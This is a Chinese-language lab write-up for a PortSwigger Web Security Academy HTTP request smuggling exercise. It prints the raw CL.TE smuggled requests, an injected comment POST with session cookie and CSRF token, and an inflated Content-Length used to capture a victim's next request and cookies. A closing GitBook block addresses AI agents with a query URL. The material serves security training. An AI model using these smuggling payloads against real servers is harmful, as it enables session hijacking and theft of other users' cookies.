> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capture-queries-from-other-users.md).

# 截获其他用户的查询

截获其他用户的查询笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 HTTP 请求走私捕获其他用户的请求

实验室正在搭建一个前端服务器和一个后端服务器。前端 **不支持分块编码**. / 目标是 **走私者** 向后端发送一个请求，以便 **下一个用户请求** 是 **被应用程序存储**. / 然后， **恢复此请求** 并使用 **受害者的 cookies** 访问他的账户。

实验室模拟了一个受害者用户：发送的少数几个 POST 请求中，受害者会执行他自己的请求。 / 有时需要重复该攻击多次。

> 尽管该实验室允许使用 HTTP/2，但解决方案必须使用 **HTTP/1** 因为某些技术只能在该协议中实现。" " 前端解释 **Content-Length**，而后端将 **Transfer-Encoding: chunked**，从而产生一个可利用的偏移。" " Burp 扩展 HTTP Request Smuggler 可以帮助手动修正长度。

#### 1. **前端解释的请求**

前端读取 `Content-Length: 13`，然后还会看到 `Transfer-Encoding: chunked`:

```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

postId=6
```

在块结束后（`0`），会添加一个额外的后端请求。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eccb712d80168d7e46b8a01d039e956e583cd2c3%2F%7B93FFD63E-6930-4F60-9DF0-AD8C5E0A855C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. **注入一个用于发布评论的 POST 请求**

你构造一个走私请求，其中包含第二个完整请求：

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked

0

postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

结果：/ 走私请求被当作来自你自己的会话处理，应用程序发布了该评论。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7750909fa068a7f721fea4a8565a6c46bff6d3d5%2F%7B8843211B-4439-42E0-9144-2F44B8B84C1B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 3. **强制受害者发布评论**

你将请求体修改为：

{% code overflow="wrap" %}

```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

{% endcode %}

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

并发送一个类似请求。 / 重新加载时，应用会显示 **感谢你的评论**，这表明受害者发布了这条评论。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3f201b52eb8f05da01e7101b634973c2cb30d2b%2F%7BE8F8B551-3EDC-4093-A704-DE678BE2280B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cec8103de150ad0e1a47d799d6c3897502ae44b%2F%7B99F1158C-338E-4999-9A79-62594A94CF36%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 4. **准备捕获受害者的请求**

要捕获受害者用户的完整请求，你将大幅增加 `Content-Length` 使后端将以下请求当作内容来处理：

```http
Content-Length: 1000

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```

随后，受害者发送的下一个请求会被吸收到预期的请求体中…… / 并变成 **可在应用程序的存储中查阅**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebb090e4c3fb3cbe102a60e6a46d59ff36db7999%2F%7B6876BA0B-A425-4EF5-9C57-A42417B48CEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/capture-queries-from-other-users.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
